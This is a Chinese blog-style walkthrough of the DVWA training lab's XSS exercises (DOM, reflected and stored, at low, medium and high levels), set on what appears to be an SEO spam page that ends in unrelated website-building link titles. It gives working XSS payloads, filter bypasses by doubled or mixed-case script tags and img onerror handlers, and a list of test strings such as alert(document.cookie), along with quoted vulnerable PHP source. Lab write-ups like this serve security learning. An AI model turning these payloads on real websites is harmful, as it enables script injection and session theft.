当前位置: 首页 > wzjs >正文

基因数据库网站开发价格重庆网站建设机构

基因数据库网站开发价格,重庆网站建设机构,网站logo怎么做,网站你应该明白我的意思吗DOM low 这是一个下拉框的形式&#xff0c;但是如果我们不让他等于English呢&#xff0c;换成js代码呢&#xff1f; <script>alert(xss);</script> Medium <script> 标签&#xff0c;但仅使用简单的字符串匹配进行替换&#xff08;比如移除 "<scr…

DOM

low

这是一个下拉框的形式,但是如果我们不让他等于English呢,换成js代码呢?

<script>alert('xss');</script>

Medium

<script> 标签,但仅使用简单的字符串匹配进行替换(比如移除 "<script")。绕过 <script> 标签限制,使用 HTML 事件属性(如 onerror, onload

?default=English>/option></select><img src='#' onerror='alert(1)'>

High

开发者现在只允许白名单语言(如 English、French),不允许任意值传入

利用 URL 的 fragment 部分(即 # 后的内容),这部分不会被发送到服务器,因此无法被服务器端过滤。

?default=English#<script>alert(1)</script>

Reflected

low

<script>alert("css");</script>

Medium

当我们输入<script>alert("css");</script>,发现script标签不见了,我们可以试试双写。

<sc<script>ript>alert("css");</scrip</script>t>

我们查看一下源码,确实对标签进行了一个过滤。挺抽象的,居然只对这个<script>进行检查。

$name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

那我们可以构造一个:

<sc<script>ript>alert("css");</script>

那其实这样子也有其他方法,比如大小写:

<sCrIPt>alert("x");</sCrIpT>

High

不用想,肯定比上一关过滤的更加严格,那我们除了alert还有什么,有的

<img src=# onerror=alert("xss")>

查看源码:可以看到不让你出现script标签,但是除了这个标签还有很多其他实用的。

 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

Stored

low

Medium

用这个好像都可以直接就过了(苦笑)。

<img src=# onerror=alert("xss")>

查看源码

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?> 

首先trim()函数去除首尾空格,strip_tags()从字符串中去除HTML和PHP标记,其次addslashes()返回在预定义字符前添加反斜杠的字符串。预定义字符包括单引号 (')、双引号 (")、反斜杠 (\) 和 NULL (NUL),ysqli_real_escape_string()转义在 SQL 语句中使用的字符串中的特殊字符,<script>替换了这个标签。

我们看到,大多数是对result进行一个审核,我们还有一种方法就是把重心放在name上,因为对他的过滤比较少。

name=<sc<script>ript>alert("x");</script>
message=123

大小写其实也是很重要的一种思路:

name=<sCrIPT>alert("x");</sCrIPT>
message=123

High

思路: 利用HTML事件处理器来触发JavaScript代码,例如使用 <img src=x onerror=alert('XSS')>。这种方式不需要直接使用 <script> 标签就能执行JavaScript代码。

通过使用htmlspecialchars函数,解决了XSS,所以无法注入。通常有一些方式可以测试网站是否有正确处理特殊字符:><script>alert(document.cookie)</script>='><script>alert(document.cookie)</script>"><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert (vulnerable)</script>%3Cscript%3Ealert('XSS')%3C/script%3E<script>alert('XSS')</script><img src="javascript:alert('XSS')"><img src="http://xxx.com/yyy.png" onerror="alert('XSS')"><div style="height:expression(alert('XSS'),1)"></div>(这个仅于IE7(含)之前有效) 

http://www.dtcms.com/wzjs/570915.html

相关文章:

  • 重庆网站建设 熊掌号外贸做编织袋常用网站
  • 广州部队网站建设费用重庆妇科医院排名
  • 做企业网站需要买什么wordpress能导入多少产品
  • 宁波正规网站建设方式高端网站报价
  • 做外贸的网站简称为什么网站建设银行网站怎么下载
  • 宁晋网站建设多少钱网页设计属于平面设计吗
  • 俄罗斯网站后缀职业培训网络平台
  • wordpress 4.7seo专业培训机构
  • 山东省建设银行网站建筑施工特种证书查询
  • 十大网站排行榜企业的品牌宣传策划
  • 厚街网站建设公司电脑哪里做模板下载网站
  • 专业做淘宝网站绍兴网站建设资料 优帮云
  • 做民宿的网站环球资源网入驻费用
  • 淄博网赢网站建设保障性住房建设投资中心网站
  • 购物型网站模板当涂住房和城乡建设网站
  • 开个小网站要怎么做电子工程师证怎么考
  • 焦作建设银行网站优秀网页设计代码
  • 小说在线阅读网站怎么做成都市公共资源交易服务中心
  • 邢台推广网站建设电话wordpress老版编辑
  • 做网站需要团队还是一个人烂网站做竞价行吗
  • 金华自助建站创意网名大全
  • angular适合 做 网站吗分销网站建站
  • 广州 电商设计网站建设wordpress微博图床怎么用
  • c 做网站郑州电力高等专科学校招生办电话
  • 网站制作优化推广南京网站优化步骤
  • 自己怎么做家政网站网站产品展示代码
  • 潍坊公司网站制作磁力多多
  • 大专学网站开发与运营element ui做的网站
  • 做网站什么空间比较好wordpress取消邮箱验证
  • 公司网站的好处深圳做网站推广公司哪家好